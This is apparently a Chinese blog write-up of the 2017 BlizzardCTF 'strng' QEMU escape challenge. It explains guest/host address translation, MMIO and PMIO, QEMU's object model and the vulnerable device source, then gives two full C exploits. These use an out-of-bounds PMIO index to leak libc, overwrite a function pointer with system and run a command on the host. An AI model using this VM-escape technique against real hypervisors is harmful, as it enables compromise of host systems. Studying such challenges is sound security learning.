2017 BlizzardCTF pwn strng

本文深入解析QEMU中的strng设备,探讨其MMIO与PMIO的工作原理及利用方式,通过代码示例展示如何实现从信息泄露到提权的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

是第一次接触qemu逃逸。

首先要补充一点基本知识。

qemu有几个关键地址。
GVA:guest virtual address(虚拟机中的虚拟地址)
GPA:guest physical address(虚拟机中的物理地址)
HVA:host virtual address(宿主机中的虚拟地址)
HPA: host physical address(宿主机中的物理地址)
转换的顺序也是显而易见的。
GVA-GPA-HVA-HPA
其实GPA只是宿主机mmap出来的一块空间。

这个是可以证明的。
我们先直接进入题目。

我们找到题目,开始分析。

首先我下载到的题目附件里面是没有启动命令的,但是看到大佬们都是拿这个脚本启动的。

./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22

可能是当时比赛给了吧…
我们也直接用它吧
稍加解释。

-enable-kvm 启动kvm加速
-L dir :指向BIOS和VGA BIOS所在目录(一般我们使用”-L .”)
-hda/-hdb/-hdd/-hdc “文件名” :虚拟机系统安装文件
-device strng 挂载strng设备
-m 内存是1G
-nographic,表示不需要图形界面
-monitor,对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。

启动起来之后要输入用户名、密码。
用户名是ubuntu,密码是passw0rd,应该是当时给了。
在这里插入图片描述
注意最后一行将22端口映射到宿主机的5555端口。所以我们可以通过:
ssh ubuntu@127.0.0.1 -p 5555

那么如何证明上面说的地址转换的问题呢?
发现了一个mmu的脚本。

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
 
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)    //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
int fd;
 
uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}
 
uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);//这里的addr属于gva,获取对应的page frame number
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);//返回对应的GPA
}
 
int main()
{
    uint8_t *ptr;
    uint64_t ptr_mem;
 
    fd = open("/proc/self/pagemap", O_RDONLY);    //通过读取pagemap文件,可以得到进程从虚拟地址到物理地址映射的信息
    if (fd < 0) {
        perror("open");
        exit(1);
    }
 
    ptr = malloc(256);            //首先开256的空间
    strcpy(ptr, "Where am I?"); //将字符串拷贝过去
    printf("%s\n", ptr);       
    ptr_mem = gva_to_gpa(ptr);    //guest virtual mem -> guest physicals mem
 
    //此时的ptr_mem对应的是虚拟机里字符串所在的物理内存地址。
    printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
 
    getchar();
    return 0;
}

我们其实可以直接在虚拟机编译好,这里我们按照大佬的做法,用scp传一下。

gcc mmu.c -static -m32 -o mmu

在这里插入图片描述先编译好。

scp -P5555 mmu ubuntu@127.0.0.1:/home/ubuntu

这个地方可能会要root。

在这里插入图片描述
然后传上去。

在这里插入图片描述
然后这边就有了。

然后直接运行它。

在这里插入图片描述

会卡在这,毕竟不能让进程结束,我们要用gdb贴上去看一看。

ps -ef | grep qemu

首先找出qemu的进程pid

在这里插入图片描述

然后gdb贴上。
在这里插入图片描述

记得要在root下贴。
然后这里有坑点
贴gdb的时候,必须在root权限
那么意味着首先我们在root下要有一套gdb,pwndbg等等

然后gdb启动的目录不能是装pwngdb的那个目录。
因为gdb在启动的时候,会在你的当前工作目录下查找 “.gdbinit” 这个文件,并把它的内容作为gdb命令进行解释,所以如果我把脚本命名为".gdbinit",这样在启动的时候就会处理一些你常用的命令。
会出错。

最后就长这个样子。
在这里插入图片描述

在这里插入图片描述

找到他

在这里插入图片描述
是我们那个字符串。
其实到这就把我们前面说的四个地址解释清楚了。
进程mmap了一块大的内存专门给qemu用,这个对于qemu是物理地址,qemu再在上面做虚拟化的处理。

我们其实可以从启动脚本看出来我们挂载的是一个叫strng的设备。

那我们来到正文开始看程序。
搜索strng
在这里插入图片描述
看到奇怪函数。

在这里插入图片描述
程序主要是实现了这四个函数
那么所以mmio跟pmio是啥意思?

我们知道,strng是qemu的一个设备,设备就需要IO,那么问题来了,CPU如何与设备的控制寄存器和数据缓冲区进行通信?存在两个可选的方法。在第一个方法中,没一个控制寄存器被分配一个IO端口号。所有的IO端口形成IO端口空间。
那么IO空间跟内存空间应该如何实现?
有三种方法,第一种是完全隔离,内存空间是内存空间,端口空间是端口空间,第二种是内存空间开一块出来,当做端口空间。第三种就是混合模式。

那么我们这里其实使用的就是混合模式。
mmio(内存映射IO)
简单来说就是IO设备与内存共享同样的地址空间,以此来进行交互。
pmio(端口映射IO)
内存和I/O设备有各自的地址空间,不共享内存(被隔离)。而通过 in、out、outw,、outl 等指令实现交互。

我们还看到,上面的函数名称中反复出现pci三个字母。
pci是啥意思?
符合 PCI 总线标准的设备就被称为 PCI 设备 PCI 设备同时也分为主设备和目标设备两种,主设备是一次访问操作的发起者,而目标设备则是被访问者。
在这里插入图片描述
所以strng在虚拟机中就是以pci设备存在的。
其实 **pci_strng_register_types()**函数就是用于pci设备注册的。

除了那几个函数,上面还有5个奇奇怪怪的函数,他们是干嘛的?
我们需要从QOM说起。

QOM是QEMU 在C的基础上自己实现的一套面向对象机制,负责将device、bus等设备都抽象成为对象。

我们从网上直接找到了strng的源码,来顺便分析一下。

#include "qemu/osdep.h"
#include "hw/pci/pci.h"

#define STRNG(obj) OBJECT_CHECK(STRNGState, obj, "strng")

#define STRNG_MMIO_REGS 64
#define STRNG_MMIO_SIZE (STRNG_MMIO_REGS * sizeof(uint32_t))

#define STRNG_PMIO_ADDR 0
#define STRNG_PMIO_DATA 4
#define STRNG_PMIO_REGS STRNG_MMIO_REGS
#define STRNG_PMIO_SIZE 8

typedef struct {
    PCIDevice pdev;
    MemoryRegion mmio;
    MemoryRegion pmio;
    uint32_t addr;
    uint32_t regs[STRNG_MMIO_REGS];
    void (*srand)(unsigned int seed);
    int (*rand)(void);
    int (*rand_r)(unsigned int *seed);
} STRNGState;

static uint64_t strng_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
    STRNGState *strng = opaque;

    if (size != 4 || addr & 3)
        return ~0ULL;

    return strng->regs[addr >> 2];
}

static void strng_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
    STRNGState *strng = opaque;
    uint32_t saddr;

    if (size != 4 || addr & 3)
        return;

    saddr = addr >> 2;
    switch (saddr) {
    case 0:
        strng->srand(val);
        break;

    case 1:
        strng->regs[saddr] = strng->rand();
        break;

    case 3:
        strng->regs[saddr] = strng->rand_r(&strng->regs[2]);

    default:
        strng->regs[saddr] = val;
    }
}

static const MemoryRegionOps strng_mmio_ops = {
    .read = strng_mmio_read,
    .write = strng_mmio_write,
    .endianness = DEVICE_NATIVE_ENDIAN,
};

static uint64_t strng_pmio_read(void *opaque, hwaddr addr, unsigned size)
{
    STRNGState *strng = opaque;
    uint64_t val = ~0ULL;

    if (size != 4)
        return val;

    switch (addr) {
    case STRNG_PMIO_ADDR:
        val = strng->addr;
        break;

    case STRNG_PMIO_DATA:
        if (strng->addr & 3)
            return val;

        val = strng->regs[strng->addr >> 2];
    }

    return val;
}

static void strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
    STRNGState *strng = opaque;
    uint32_t saddr;

    if (size != 4)
        return;

    switch (addr) {
    case STRNG_PMIO_ADDR:
        strng->addr = val;
        break;

    case STRNG_PMIO_DATA:
        if (strng->addr & 3)
            return;

        saddr = strng->addr >> 2;
        switch (saddr) {
        case 0:
            strng->srand(val);
            break;

        case 1:
            strng->regs[saddr] = strng->rand();
            break;

        case 3:
            strng->regs[saddr] = strng->rand_r(&strng->regs[2]);
            break;

        default:
            strng->regs[saddr] = val;
        }
    }
}

static const MemoryRegionOps strng_pmio_ops = {
    .read = strng_pmio_read,
    .write = strng_pmio_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
    STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);

    memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);
    memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
    pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}

static void strng_instance_init(Object *obj)
{
    STRNGState *strng = STRNG(obj);

    strng->srand = srand;
    strng->rand = rand;
    strng->rand_r = rand_r;
}

static void strng_class_init(ObjectClass *class, void *data)
{
    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

    k->realize = pci_strng_realize;
    k->vendor_id = PCI_VENDOR_ID_QEMU;
    k->device_id = 0x11e9;
    k->revision = 0x10;
    k->class_id = PCI_CLASS_OTHERS;
}

static void pci_strng_register_types(void)
{
    static const TypeInfo strng_info = {
        .name          = "strng",
        .parent        = TYPE_PCI_DEVICE,
        .instance_size = sizeof(STRNGState),
        .instance_init = strng_instance_init,
        .class_init    = strng_class_init,
    };

    type_register_static(&strng_info);
}
type_init(pci_strng_register_types)

首要要强调QOM中在靠几个结构体撑着。
首先第一个出场的是

struct TypeInfo
{       
    const char *name;                       
    const char *parent;                        //父类
 
    size_t instance_size;
    size_t instance_align;
    void (*instance_init)(Object *obj);        //实例初始化函数
    void (*instance_post_init)(Object *obj);
    void (*instance_finalize)(Object *obj);    //实例“析构”函数
 
    bool abstract;                           
    size_t class_size;                        
 
    void (*class_init)(ObjectClass *klass, void *data);    //在所有父类被初始化完成后调用的子类初始化函数
    void (*class_base_init)(ObjectClass *klass, void *data);
    void *class_data;
 
    InterfaceInfo *interfaces;                //封装了const char *type;
};

我们看strng的源码。

static void pci_strng_register_types(void)
{
    static const TypeInfo strng_info = {    //这里就是一个TypeInfo结构体
        .name          = "strng",
        .parent        = TYPE_PCI_DEVICE,    //父类为 TYPE_PCI_DEVICE
        .instance_size = sizeof(STRNGState),
        .instance_init = strng_instance_init,
        .class_init    = strng_class_init,    //类初始化,虚函数覆写
    };
 
    type_register_static(&strng_info);
}
type_init(pci_strng_register_types)

首先就是定义了一个TypeInfo结构体,里面定义了一些成员。
然后调用了type_init。负责注册。
接着往下调用,

#define type_init(function) module_init(function, MODULE_INIT_QOM)
 
#define module_init(function, type)                                        \
static void __attribute__((constructor)) do_qemu_init_ ## function(void)
{                                                                            \
    register_module_init(function,type);                                   \
}

一路就来到了register_module_init

typedef struct ModuleEntry
{
    void (*init)(void);
    QTAILQ_ENTRY(ModuleEntry) node;
    module_init_type type;
} ModuleEntry;
 
static void init_lists(void)
{
    static int inited;
    int i;
 
    if (inited) {
        return;
    }
 
    for (i = 0; i < MODULE_INIT_MAX; i++) {
        QTAILQ_INIT(&init_type_list[i]);
    }
 
    QTAILQ_INIT(&dso_init_list);
 
    inited = 1;
}
 
 
static ModuleTypeList *find_type(module_init_type type)
{
    init_lists();
 
    return &init_type_list[type];
}
 
void register_module_init(void (*fn)(void), module_init_type type)
{
    ModuleEntry *e;
    ModuleTypeList *l;
 
    e = g_malloc0(sizeof(*e));
    e->init = fn;
    e->type = type;
 
    l = find_type(type);        //调用init_lists()做了初始化
 
    QTAILQ_INSERT_TAIL(l, e, node);
}

这个函数做的事情大概就是malloc一个新的 ModuleEntry 结构体。并插入 init_type_list[Module_Init_Type] 链表中。

所以在QEMU真正启动之前,所有 module_entry 都被插入 init_type_list 。并且已经确定了初始化函数。
然后在qemu启动阶段main函数调用的时候,会对 init_type_list[Module_Init_Type] 链表中的每一个 ModuleEntry 调用其 init 函数。所以对于我们的strng里就是 pci_strng_register_types()。
pci_strng_register_types() 中首先对设备的一些信息做了初始化,接着调用了:type_register_static(&strng_info)

type_register_static(&strng_info) 最终调用了 type_register_internal(&strng_info)

static TypeImpl *type_register_internal(const TypeInfo *info)
{
    TypeImpl *ti;
    ti = type_new(info); //根据info信息,创建一个TypeImpl对象
    type_table_add(ti); //将新建的TypeImpl对象注册到全局哈希表 type_table 中
    return ti;
}

所以第二个结构体就是TypeImpl

struct TypeImpl
{
    const char *name;
 
    size_t class_size;
 
    size_t instance_size;
    size_t instance_align;
 
    void (*class_init)(ObjectClass *klass, void *data);
    void (*class_base_init)(ObjectClass *klass, void *data);
 
    void *class_data;
 
    void (*instance_init)(Object *obj);
    void (*instance_post_init)(Object *obj);
    void (*instance_finalize)(Object *obj);
 
    bool abstract;

    const char *parent;
    TypeImpl *parent_type;
    ObjectClass *class;                     
    int num_interfaces;
    InterfaceImpl interfaces[MAX_INTERFACES];
};

然后我们的每一个ModuleEntry 向 TypeImpl表 中的注册就算完成了。

但是呢我们到现在实际上只完成了 Module的注册,而没有真正完成 类的初始化。
类的初始化是在Typelmpl对象挂进表中开始的。

类的初始化来源于我们的第一个结构体中 .class_init = strng_class_init 这个函数。
在strng源代码中这个函数也有定义

static void strng_class_init(ObjectClass *class, void *data)
{
    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

    k->realize = pci_strng_realize;
    k->vendor_id = PCI_VENDOR_ID_QEMU;
    k->device_id = 0x11e9;
    k->revision = 0x10;
    k->class_id = PCI_CLASS_OTHERS;
}

一会重点调用的是pci_strng_realize
但是也有一些其他有意思的东西,就是我们看到的devicd_id与revision。
在这里插入图片描述
lspci也可以看的出来。
域是0000
总线号是00:03.0
厂商号1234
设备号11e9

它最终会一直调用到type_initialize
type_initialize会针对每一个注册的 TypeImpl 去做type 初始化

static void type_initialize(TypeImpl *ti)    
{
    TypeImpl *parent;
    if (ti->class) {        //如果 ti->class存在,那么说明初始化过了,直接return
        return;
    }
 
    ti->class_size = type_class_get_size(ti);
    ti->instance_size = type_object_get_size(ti);
 
    if (ti->instance_size == 0) {    //如果instance_size为0,标记为抽象类
        ti->abstract = true;
    }
    if (type_is_ancestor(ti, type_interface)) {
         ......
    }
    ti->class = g_malloc0(ti->class_size);
 
    parent = type_get_parent(ti);  // 是否有父类?即是否存在继承关系?
    if (parent) {                   // 如果存在继承关系的话
        type_initialize(parent);   //初始化父类
        GSList *e;
        int i;
 
        g_assert(parent->class_size <= ti->class_size);
        g_assert(parent->instance_size <= ti->instance_size);
        memcpy(ti->class, parent->class, parent->class_size);//首先用父类数据 初始化
        ti->class->interfaces = NULL;
 
        for (e = parent->class->interfaces; e; e = e->next) {
            InterfaceClass *iface = e->data;
            ObjectClass *klass = OBJECT_CLASS(iface);
 
            type_initialize_interface(ti, iface->interface_type, klass->type);//初始化对应接口
        }
 
        for (i = 0; i < ti->num_interfaces; i++) {
            TypeImpl *t = type_get_by_name(ti->interfaces[i].typename);
            if (!t) {
                error_report("missing interface '%s' for object '%s'",
                             ti->interfaces[i].typename, parent->name);
                abort();
            }
            for (e = ti->class->interfaces; e; e = e->next) {
                TypeImpl *target_type = OBJECT_CLASS(e->data)->type;
 
                if (type_is_ancestor(target_type, t)) {
                    break;
                }
            }
 
            if (e) {
                continue;
            }
 
            type_initialize_interface(ti, t, t);    //初始化接口
        }
    }
 
    /* 建立存放属性的hash表 */
    ti->class->properties = g_hash_table_new_full(g_str_hash, g_str_equal, NULL,
                                                  object_property_free);
 
    ti->class->type = ti;
 
    while (parent) {
        /* 对于父类来说,如果定义了class_base_init,就调用它 */
        if (parent->class_base_init) {
            parent->class_base_init(ti->class, ti->class_data);
        }
        parent = type_get_parent(parent);
    }
 
    /* 调用当前TypeImpl的class_init */
    if (ti->class_init) {
        ti->class_init(ti->class, ti->class_data);
    }
}

然后就初始化好了第三个结构体

struct ObjectClass
{
    /* private: */
    Type type;
    GSList *interfaces;
 
    const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
    const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];
 
    ObjectUnparent *unparent;
 
    GHashTable *properties;
};

ObjectClass是所以类的基类。

然后用它来创建我们的第四个结构体,类对象

struct Object
{
    /* private: */
    ObjectClass *class;      
    ObjectFree *free;       
    GHashTable *properties;
    uint32_t ref;           
    Object *parent;           
};

我们放到程序中,其实一个对象就对应一个dvice。
以strng为例,用户可以定义自己的Object结构体,继承自PCIDevice
其初始化由:pci_strng_realize(PCIDevice *pdev, Error **errp) 来做。

static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
    STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);// DO_UPCAST实现了在继承链之间的强制转换
 
    memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);
    memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
    pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}

strng_init函数是可选项
有的话会在类对象初始化之后执行一下。
没有也没事

其中STRNGState前面也有定义

typedef struct {
    PCIDevice pdev;
    MemoryRegion mmio;
    MemoryRegion pmio;
    uint32_t addr;
    uint32_t regs[STRNG_MMIO_REGS];
    void (*srand)(unsigned int seed);
    int (*rand)(void);
    int (*rand_r)(unsigned int *seed);
} STRNGState;

qemu使用 MemoryRegion 来表示对应的内存空间,相应的每一个 MemoryRegion 都有对应的 MemoryRegionOps 来描述其操做。
也定义在上面的STRNGState中。

    MemoryRegion mmio;   //mmio内存空间
    MemoryRegion pmio;   //pmio内存空间

也有定义对应的 MemoryRegionOps

static const MemoryRegionOps strng_mmio_ops = {    //mmio空间对应的操作
    .read = strng_mmio_read,                    //对mmio空间的read由strng_mmio_read实现
    .write = strng_mmio_write,                    //对mmio空间的write由strng_mmio_write实现
    .endianness = DEVICE_NATIVE_ENDIAN,
};

至此我们连着QOM带着strng源码就都看完了。
那几个函数都是些干嘛的我们也就都了解了。

那么我们现在来好好看题。
首先shift + F1或者在视图,打开子视图中打开本地类型,然后搜索STRNGState。
为啥我们知道他是STRNGState?
我们知道mmio_read函数的第一个参数就是STRNGState类型的,去函数那看一下,汇编窗口中直接有显示。
在这里插入图片描述

在这里插入图片描述
然后右键编辑
在这里插入图片描述
然后我们去分析那四个IO函数
在这里插入图片描述如果size=4,并且addr是4的倍数。
那么取 STRNGState 中regs区域中2 * addr 的内容返回。即 (&regs + 2*addr)返回。

在这里插入图片描述当size等于4时,i = addr / 4提供4个功能:
当i为0时,调用srand函数但并不给赋值给内存。
当i为1时,调用rand得到随机数并赋值给regs[1]。
当i为3时,调用rand_r函数,并使用regs[2]的地址作为参数,并最后将返回值赋值给regs[3],但后续仍然会将val值覆盖到regs[3]中。
其余则直接将传入的val值赋值给regs[i]。

看起来似乎addr可以由我们控制,可以使用addr来越界读写regs数组。那么如果传入的addr大于regs的边界,那么我们就可以读写到后面的函数指针了。但是事实上是不可以的,前面已经知道了mmio空间大小为256,我们传入的addr是不能大于mmio的大小;因为pci设备内部会进行检查,而刚好regs的大小为256,所以我们无法通过mmio进行越界读写。

在这里插入图片描述当端口地址为0时直接返回opaque->addr,否则将opaque->addr右移两位作为索引i,返回regs[i]的值,比较关注的是这个opaque->addr在哪里赋值,它在下面的strng_pmio_write中被赋值。
在这里插入图片描述
当size等于4时,以传入的端口地址为判断提供4个功能:
当端口地址为0时,直接将传入的val赋值给opaque->addr。
当端口地址不为0时,将opaque->addr右移两位得到索引i,分为三个功能:
i为0时,执行srand,返回值不存储。
i为1时,执行rand并将返回结果存储到regs[1]中。
i为3时,调用rand_r并将regs[2]作为第一个参数,返回值存储到regs[3]中。
否则直接将val存储到regs[i]中。

可以看到PMIO与MMIO的区别在于索引regs数组时,PMIO并不是由直接传入的端口地址addr去索引的;而是由opaque->addr去索引,而opaque->addr的赋值是我们可控的(端口地址为0时,直接将传入的val赋值给opaque->addr)。因此regs数组的索引可以为任意值,即可以越界读写。

利用方式
我们肯定是首先考虑泄露libc。
我们可以读srand地址,计算libc。
然后任意写,rand_r写成system,regs[2]写成cat flag就好了。

要注意libc的偏移,system的偏移要找宿主机。
在这里插入图片描述
先贴exp,我们再来一点一点解释。

首先我们要查看设备。
在这里插入图片描述00:03.0 那一行是未归类,所以就是我们要分析的设备。

查看详细信息
lspci -v
在这里插入图片描述

获得pmio的端口地址 0xc050
端口地址指的是我们要访问这个设备的话端口的起始地址,而我们在上面说的什么地址等于0啥的,都是相对于这个起始地址来说的。

exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
 
size_t pmio_base = 0x000000000000c050;  //pmoi端口地址
void * mmio_mem;
 
uint64_t mmio_read(uint32_t addr){
    return *( (uint32_t *)mmio_mem + addr );
}
 
void mmio_write(uint32_t addr,uint32_t val ){
    *((uint32_t *)mmio_mem + addr) = val;
}
 
void pmio_write(uint32_t addr,uint32_t val){
    outl(val,addr);
}
 
uint64_t pmio_read(uint32_t addr){
    return (uint32_t)inl(addr);
}
 
//定义mmio、pmio的读写函数
 
int main(){
    setbuf(stdout,0);
    setbuf(stdin,0);
    setbuf(stderr,0);
    int mmio_fd = open("/sys/devices/pci0000\:00/0000\:00\:03.0/resource0",O_RDWR | O_SYNC);  
    if(mmio_fd==-1){  perror("mmio failed");exit(-1);  }
 
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,mmio_fd,0);     //mmap mmio space
    if(mmio_mem == MAP_FAILED){ perror("map mmio failed");exit(-1);}
    printf("addr of mmio:%p\n",mmio_mem);
    //我们先打开对应的 /sys/devices/pci0000\:00/0000\:00\:03.0/resource0 ,然后将其以 MAP_SHARED 映射。那么我们可以通过操作这一块映射空间来读写操作mmio空间。
    mmio_write(2,0x6d6f6e67);   // regs[2]
    mmio_write(3,0x61632d65);  // regs[3]
    mmio_write(4,0x6c75636c);  // regs[4]
    mmio_write(5,0x726f7461);  // regs[5]
    //mmio_write(24,0x6b637566);
    //写入字符串在res[2]的地方
    if(iopl(3)!=0){perror("iopl failed");exit(-1);}
   //iopl函数能够将IO的等级提升起来,为后面的pmio的io做准备
    uint64_t srand_addr;
    uint64_t tmp;
    uint64_t libc;
    uint64_t system;
    
    //得到srand函数地址前四字节
    pmio_write(pmio_base+0,0x108);
    srand_addr = pmio_read(pmio_base+4);
    printf("[DEBUG] 0x%llx\n",srand_addr);
    srand_addr = ((srand_addr<<32)); 
    printf("[*]0x%llx\n",srand_addr);
   
   //后四字节
    pmio_write(pmio_base+0,0x104);
    tmp = (pmio_read(pmio_base+4));
    printf("[*]0x%llx\n",tmp);
    srand_addr += tmp;
    printf("srand_addr:0x%llx\n",srand_addr);
    libc = srand_addr - 0x4a740;
    printf("[*]libc_addr:0x%llx\n",libc);
    system = libc+ 0x55410;
    printf("[*]system:0x%llx\n",system);
 
 
    //改后四个字节就可以了
    pmio_write(pmio_base+0,0x114);  //set addr
    pmio_write(pmio_base+4,(system & 0xffffffff));// overwrite rand_r
 
 
    /*  trigger system  */
    pmio_write(pmio_base+3,0);
    return 0;
}

在这里插入图片描述
稍微一变就可以从弹计算器变成cat flag

exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
 
size_t pmio_base = 0x000000000000c050;
void * mmio_mem;
 
uint64_t mmio_read(uint32_t addr){
    return *( (uint32_t *)mmio_mem + addr );
}
 
void mmio_write(uint32_t addr,uint32_t val ){
    *((uint32_t *)mmio_mem + addr) = val;
}
 
void pmio_write(uint32_t addr,uint32_t val){
    outl(val,addr);
}
 
uint64_t pmio_read(uint32_t addr){
    return (uint32_t)inl(addr);
}
 
 
 
int main(){
    setbuf(stdout,0);
    setbuf(stdin,0);
    setbuf(stderr,0);
    int mmio_fd = open("/sys/devices/pci0000\:00/0000\:00\:03.0/resource0",O_RDWR | O_SYNC);
    if(mmio_fd==-1){  perror("mmio failed");exit(-1);  }
 
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,mmio_fd,0);     //mmap mmio space
    if(mmio_mem == MAP_FAILED){ perror("map mmio failed");exit(-1);}
    printf("addr of mmio:%p\n",mmio_mem);
 
    mmio_write(2,0x20746163);   // regs[2]
    mmio_write(3,0x67616c66);  // regs[3]
    //mmio_write(4,0x6c75636c);  // regs[4]
    //mmio_write(5,0x726f7461);  // regs[5]
    //mmio_write(24,0x6b637566);

 
    if(iopl(3)!=0){perror("iopl failed");exit(-1);}
 
    uint64_t srand_addr;
    uint64_t tmp;
    uint64_t libc;
    uint64_t system;
    /* first time we read high 4 bytes */
    pmio_write(pmio_base+0,0x108);
    srand_addr = pmio_read(pmio_base+4);
    printf("[DEBUG] 0x%llx\n",srand_addr);
    srand_addr = ((srand_addr<<32)); 
    printf("[*]0x%llx\n",srand_addr);
    /*  Second time we read low 4 bytes */
    pmio_write(pmio_base+0,0x104);
    tmp = (pmio_read(pmio_base+4));
    printf("[*]0x%llx\n",tmp);
    srand_addr += tmp;
    printf("srand_addr:0x%llx\n",srand_addr);
    libc = srand_addr - 0x4a740;
    printf("[*]libc_addr:0x%llx\n",libc);
    system = libc+ 0x55410;
    printf("[*]system:0x%llx\n",system);
 
 
    /* we just need to overwrite low 4 bytes */
    pmio_write(pmio_base+0,0x114);  //set addr
    pmio_write(pmio_base+4,(system & 0xffffffff));// overwrite rand_r
 
 
    /*  trigger system  */
    pmio_write(pmio_base+3,0);
    return 0;
}

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值